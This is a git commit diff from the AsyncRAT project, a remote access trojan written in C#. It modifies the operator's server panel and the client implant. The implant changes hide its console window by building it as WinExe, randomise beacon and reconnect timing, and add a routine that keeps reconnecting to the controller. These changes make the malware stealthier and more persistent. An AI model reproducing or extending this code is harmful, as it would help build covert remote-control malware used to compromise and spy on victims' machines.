Update
This commit is contained in:
parent
4921083766
commit
af584d3810
5
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
5
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
@ -55,7 +55,7 @@
|
||||
this.listView1.GridLines = true;
|
||||
this.listView1.Location = new System.Drawing.Point(0, 0);
|
||||
this.listView1.Name = "listView1";
|
||||
this.listView1.Size = new System.Drawing.Size(849, 372);
|
||||
this.listView1.Size = new System.Drawing.Size(849, 342);
|
||||
this.listView1.TabIndex = 0;
|
||||
this.listView1.UseCompatibleStateImageBehavior = false;
|
||||
this.listView1.View = System.Windows.Forms.View.Details;
|
||||
@ -119,10 +119,11 @@
|
||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
|
||||
this.ClientSize = new System.Drawing.Size(849, 372);
|
||||
this.Controls.Add(this.statusStrip1);
|
||||
this.Controls.Add(this.listView1);
|
||||
this.Controls.Add(this.statusStrip1);
|
||||
this.Name = "Form1";
|
||||
this.Text = "AsyncRAT-Sharp // NYAN CAT";
|
||||
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed);
|
||||
this.Load += new System.EventHandler(this.Form1_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.statusStrip1.ResumeLayout(false);
|
||||
|
@ -76,5 +76,10 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void Form1_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
Environment.Exit(0);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
@ -27,6 +27,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
|
||||
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
|
||||
Program.form1.listView1.Items.Insert(0, client.LV);
|
||||
Settings.Online.Add(client);
|
||||
}));
|
||||
}
|
||||
break;
|
||||
|
@ -33,7 +33,6 @@ namespace AsyncRAT_Sharp.Sockets
|
||||
MS = new MemoryStream();
|
||||
LV = null;
|
||||
Read += HandlePacket.Read;
|
||||
Settings.Online.Add(this);
|
||||
Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
|
||||
}
|
||||
|
||||
|
@ -5,7 +5,7 @@
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{C3C49F45-2589-4E04-9C50-71B6035C14AE}</ProjectGuid>
|
||||
<OutputType>Exe</OutputType>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<RootNamespace>Client</RootNamespace>
|
||||
<AssemblyName>Client</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
@ -23,7 +23,7 @@
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<PlatformTarget>x86</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
|
@ -29,7 +29,6 @@ namespace Client
|
||||
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Console.Title = "AsyncRAT | Client";
|
||||
InitializeClient();
|
||||
while (true)
|
||||
{
|
||||
@ -54,18 +53,37 @@ namespace Client
|
||||
MS = new MemoryStream();
|
||||
BeginSend(SendInfo());
|
||||
TimerCallback T = new TimerCallback(Ping);
|
||||
Tick = new Timer(T, null, 15000, 30000);
|
||||
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Console.WriteLine("Disconnected!");
|
||||
Thread.Sleep(new Random().Next(5000));
|
||||
try
|
||||
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
||||
Reconnect();
|
||||
}
|
||||
}
|
||||
|
||||
public static void Reconnect()
|
||||
{
|
||||
if (client.Connected == false)
|
||||
{
|
||||
if (Tick != null)
|
||||
{
|
||||
Tick.Dispose();
|
||||
}
|
||||
|
||||
if (client != null)
|
||||
{
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
}
|
||||
catch { }
|
||||
|
||||
if (MS != null)
|
||||
{
|
||||
MS.Dispose();
|
||||
}
|
||||
|
||||
InitializeClient();
|
||||
}
|
||||
}
|
||||
@ -85,11 +103,7 @@ namespace Client
|
||||
{
|
||||
if (client.Connected == false)
|
||||
{
|
||||
Tick.Dispose();
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
MS.Dispose();
|
||||
InitializeClient();
|
||||
Reconnect();
|
||||
}
|
||||
|
||||
int Recevied = client.EndReceive(ar);
|
||||
@ -132,21 +146,13 @@ namespace Client
|
||||
}
|
||||
else
|
||||
{
|
||||
Tick.Dispose();
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
MS.Dispose();
|
||||
InitializeClient();
|
||||
Reconnect();
|
||||
}
|
||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Tick.Dispose();
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
MS.Dispose();
|
||||
InitializeClient();
|
||||
Reconnect();
|
||||
}
|
||||
}
|
||||
|
||||
@ -165,7 +171,8 @@ namespace Client
|
||||
|
||||
case "Ping":
|
||||
{
|
||||
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
|
||||
Console.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
|
||||
}
|
||||
break;
|
||||
}
|
||||
@ -198,11 +205,7 @@ namespace Client
|
||||
}
|
||||
catch
|
||||
{
|
||||
Tick.Dispose();
|
||||
client.Close();
|
||||
client.Dispose();
|
||||
MS.Dispose();
|
||||
InitializeClient();
|
||||
Reconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -214,7 +217,9 @@ namespace Client
|
||||
client.EndSend(ar);
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
{
|
||||
Reconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user